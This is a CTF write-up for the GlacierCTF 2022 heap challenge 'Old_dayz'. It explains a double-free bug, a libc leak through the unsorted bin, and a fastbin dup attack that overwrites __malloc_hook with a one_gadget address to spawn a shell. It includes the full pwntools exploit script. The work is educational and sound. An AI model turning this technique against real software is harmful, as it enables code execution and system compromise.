GlacierCTF 2022 (Heap — Fastbin Dup)
Old_dayz
is a heap challenge that was in Glacier CTF 2022
and has a double free vulnerability allowing us to use the fastbin dup heap
technique to execute arbitrary code.
To check security mitigations that were used at the time of compiling this binary we can do the following :
➜ fastbin_dup checksec old.bak
[*] '/home/hacker/lab/Heap_challs/fastbin_dup/old.bak'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
➜ fastbin_dup ldd old_patched
linux-vdso.so.1 (0x00007ffdaebaf000)
libc.so.6 => ./libc.so.6 (0x00007fee4be00000)
./ld.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fee4c20c000)
Using ldd
utility in linux we can see that i have already used patchelf
to make sure the binary is using the correct libc
and linker
.The catch when doing so is to make sure the libc
name is renamed to libc.so.6.
The general functionality of this binary is it allows us to request chunks , edit , delete , view and write into them. This is properly shown below on the program menu:
➜ fastbin_dup ./old.bak
[1] Add
[2] Delete
[3] Write
[4] View
[5] Exit
> 1
idx:
1
size:
23
[1] Add
[2] Delete
[3] Write
[4] View
[5] Exit
> [1] 1127470 alarm ./old.bak
From the above data we can see we already have a problem. The alarm clock will keep ruining our moods! The easiest way i have found to patch binaries, at least when you don’t have to write a whole new instruction to do something , is using cutter the radare GUI tool.
In cutter you can right click the instruction and patch it with nop instruction code, this will automatically update your binary and hence you don’t need to export it from cutter. For this to work make sure you are in the disassembly tab and you opened the binary in write mode.
➜ fastbin_dup ./old_patched
[1] Add
[2] Delete
[3] Write
[4] View
[5] Exit
> 1
idx:
1
size:
12
[1] Add
[2] Delete
[3] Write
[4] View
[5] Exit
> 1
idx:
2
size:
12
[1] Add
[2] Delete
[3] Write
[4] View
[5] Exit
> 2
idx:
1
[1] Add
[2] Delete
[3] Write
[4] View
[5] Exit
> 2
idx:
2
[1] Add
[2] Delete
[3] Write
[4] View
[5] Exit
> 2
idx:
1
[1] Add
[2] Delete
[3] Write
[4] View
[5] Exit
> 2
idx:
1
*** Error in `./old_patched': double free or corruption (fasttop): 0x00005558a38c1010 ***
[1] 1129391 IOT instruction ./old_patched
From the above output we can see that we are able to free the first chunk twice but on trying to free it the third time the program quits complaining about a double free!
Lets visualize this in gdb
, use this script for starts off :
#!/usr/bin/env python3
# Author : trustie_rity
from pwn import *
context.update(arch="amd64",os="linux")
context.terminal = ['alacritty', '-e', 'zsh', '-c']
elf = ELF("./old_patched")
p = elf.process()
# gdb hack
def _new_binary():
return "gdb-pwndbg"
gdb.binary = _new_binary
gdbscript = """
c
"""
sla = lambda a,b: p.sendlineafter(a,b)
s = lambda a: p.send(a)
sl = lambda a: p.sendline(a)
ru = lambda a: p.recvuntil(a)
r = lambda : p.recv()
rl = lambda : p.recvline()
gdb.attach(p , gdbscript=gdbscript)
def add(idx, size):
sla(b"> " , b"1")
sla(b"idx: " , str(idx).encode())
sla(b"size: " , str(size).encode())
def delete(idx):
sla(b"> " , b"2")
sla(b"idx: " , str(idx).encode())
def write(idx, contents):
sla(b"> " , b"3")
sla(b"idx: " , str(idx).encode())
sla(b"contents: " , contents)
def view(idx):
sla(b"> " , b"4")
sla(b"idx: " , str(idx).encode())
ru(b"data: ")
leak = ru(b"[")
return leak
add(0,24)
add(1,24)
add(2,24)
delete(0)
delete(1)
delete(0)
p.interactive()
Run the script and visualize the memory in gdb
as follows:
Look at that, we have turned a non-circular list of fastbins
to a circular list. This shows that the binary is vulnerable to a double free vulnerability! Essentially we can use the fastbin dup
heap technique to play around with this binary.
Since we have seen that we can leverage fastbin dup
technique, we can check how free works in order to see whether we can take advantage of it to leak an address that can help us.
Free function
implementation allows it to work in this various way to the chunks being freed.
- If the chunk fits into a
fastbin
, put it on the correspondingfastbin
, and we’re done. - If the chunk is greater than 64KB, consolidate the
bins
immediately and put the resulting merged chunks on the unsorted bin. - Merge the chunk backwards and forwards with neighboring freed chunks in the small, large, and unsorted bins.
- If the resulting chunk lies at the top of the heap, merge it into the top of the heap rather than storing it in a
bin
. - Otherwise store it in the
unsorted bin
. (Malloc will later do the work to put entries from the unsorted bin into the small or large bins).
Equiped with this knowledge we can request a chunk large enough to be stored in as an unsorted bin
after we free it. Say 0x80
sized chunk, and lets see what happens in gdb
after we free it!
We can see that the user data of the large chunk now contains a pointer address in libc
. This libc
address is contained in the list of unsorted bins
and holds the chunk that was freed. How is this so?
Well, unlike the tcache/fastbins
which have a singly linked list the unsorted bin
is a doubly linked list therefore thefd
of the unsorted bin
will point to itself which is already in the libc
.
Since we have a way to read/view the pointers in the heap memory of freed chunks , we can leak thislibc
address gracefully using the following code.
leak = view(0).rstrip(b"[")
leak = u64(leak.ljust(8,b"\x00"))
libc = elf.libc
libc.address = leak - 0x3c4b78
log.info(f"Libc base @ : {hex(libc.address)}")
Now we can use leverage the fastbin dup
technique to get code execution! We can use the following lines of code to reproduce the circular list again:
# make use of fastbin dup technique
add(2 , 24)
add(3 , 24)
delete(2)
delete(3)
delete(2)
We can see in gdb
that this works as expected, and now we can see that we have the power to leverage where malloc
will write to next since we control the third entry on the fastbins
list. This third entry can be overwritten with the user data we write to when we request the chunk…
My thinking is we can overwrite the entry with an address to __malloc_hook
then write a one_gadget
address there that will pop a shell for use : ) Lets try that …
First lets add this lines of code to the script and run it.
malloc_hook = libc.sym.__malloc_hook
add(2,24)
write(2, p64(malloc_hook))
We see in gdb
that indeed the pointer has been overwritten :
Now we can request for two chunks, after that the third chunk will overwrite __malloc_hook
with our user data, lets request three chunks now and if all is well we can use 0xdeadbeef
as our data for starters! Depending on how the heap looks and how you have messed around with it , you might find that the fourth chunk is the one overwriting __malloc_hook
with our user data.
The program fails with a memory corruption error and more inspection in gdb
reveals that , this is because the data around __malloc_hook
does not resemble a real chunk. For example we need to write to a place where there is a size field ! We can utilize find_fake_fast
command in pwndbg
to get a chunk close to __malloc_hook
address.
It finds a chunk with 0x7f
size field by dis alligning the addresses in memory to use some of the most significant bits of an address and some of the least significant bits of another address. The f
in the malloc’s metadata flag won’t be an issue for now! This address also looks like a struct in libc
therefore it will always be there even on production environment!
To make sure that our chunks fit this use case , we need to change the sizes of the chunks we have been requesting to 0x70-8
this will allow us to use this fake chunk that is 35
bytes away from __malloc_hook.
After this we can now send our data to overwrite malloc hook, here’s the modified script( a lot has been modified but there are comments to help you understand).
# start of attack
add(0,0x80)
write(0, b"chunk 0")
add(1,24)
write(1, b"chunk 1")
add(2,24)
write(2, b"chunk 2")
add(3,24)
write(3, b"chunk 3")
add(4,24)
write(4, b"chunk 4")
# leak libc address
delete(0)
leak = view(0).rstrip(b"[")
leak = u64(leak.ljust(8,b"\x00"))
libc = elf.libc
libc.address = leak - 0x3c4b78
log.info(f"Libc base @ : {hex(libc.address)}")
# keep the unsorted bin full , so that we dont get allocations from there!
add(0,0x80)
write(0 ,b"A"*30)
# make use of fastbin dup technique
add(2, 0x60)
add(3, 0x60)
delete(2)
delete(3)
delete(2)
malloc_hook = libc.sym.__malloc_hook
add(2,0x60)
write(2, p64(malloc_hook-35)+b"After fake chunk")
add(3,0x60)
write(3 , b"B"*10)
add(4,0x60)
write(4 , b"C"*10)
add(5,0x60)
log.info(f"Fake chunk @ : {hex(malloc_hook - 35)}")
write(5 , b"A" * 19 + b"0xdeadbeef")
p.interactive()
On gdb
we can see that we have successfully overwritten __malloc_hook
with our user data! Now we can use one_gadget
tool to get suitable address to place at __malloc_hook
!
➜ fastbin_dup one_gadget libc.so.6
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
We can run the script again to check which gadget constraints will be satisfied at the time of calling the gadget.
The gadget with offset 0x30
might work! lets give it a try.
And indeed it works! , The output from above shows a child process being spawned that allows us to execute the shell program. The following is the whole code used for this exploit.
#!/usr/bin/env python3
# Author : trustie_rity
from pwn import *
context.update(arch="amd64",os="linux")
context.terminal = ['alacritty', '-e', 'zsh', '-c']
elf = ELF("./old_patched")
p = elf.process()
# gdb hack
def _new_binary():
return "gdb-pwndbg"
gdb.binary = _new_binary
gdbscript = """
c
"""
sla = lambda a,b: p.sendlineafter(a,b)
s = lambda a: p.send(a)
sl = lambda a: p.sendline(a)
ru = lambda a: p.recvuntil(a)
r = lambda : p.recv()
rl = lambda : p.recvline()
#gdb.attach(p , gdbscript=gdbscript)
def add(idx, size):
sla(b"> " , b"1")
sla(b"idx: " , str(idx).encode())
sla(b"size: " , str(size).encode())
def delete(idx):
sla(b"> " , b"2")
sla(b"idx: " , str(idx).encode())
def write(idx, contents):
sla(b"> " , b"3")
sla(b"idx: " , str(idx).encode())
sla(b"contents: " , contents)
def view(idx):
sla(b"> " , b"4")
sla(b"idx: " , str(idx).encode())
ru(b"data: ")
leak = ru(b"[")
return leak
add(0,0x80)
write(0, b"chunk 0")
add(1,24)
write(1, b"chunk 1")
add(2,24)
write(2, b"chunk 2")
add(3,24)
write(3, b"chunk 3")
add(4,24)
write(4, b"chunk 4")
# leak libc address
delete(0)
leak = view(0).rstrip(b"[")
leak = u64(leak.ljust(8,b"\x00"))
libc = elf.libc
libc.address = leak - 0x3c4b78
log.info(f"Libc base @ : {hex(libc.address)}")
# keep the unsorted bin full , so that we dont get allocations from there!
add(0,0x80)
write(0 ,b"A"*30)
# make use of fastbin dup technique
add(2, 0x60)
add(3, 0x60)
delete(2)
delete(3)
delete(2)
malloc_hook = libc.sym.__malloc_hook
add(2,0x60)
write(2, p64(malloc_hook-35)+b"After fake chunk")
add(3,0x60)
write(3 , b"B"*10)
add(4,0x60)
write(4 , b"C"*10)
add(5,0x60)
log.info(f"Fake chunk @ : {hex(malloc_hook - 35)}")
write(5 , b"A" * 19 + p64(libc.address + 0x4527a))
# trigger the exploit
sla(b"> " , b"1")
sla(b"idx: " , str(8).encode())
sla(b"size: " , str(10).encode())
p.interactive()
This was a long one, if you enjoyed give it a thumbs up and i will appreciate! Your feedback is also highly appreciated. Thank your for taking your time to read through this!
Linus Torvalds: talk is cheap, show me some code!
Refs : https://gist.github.com/xct/87ee193e28f66813a9e309cf29a4bc3cz
Refs : https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/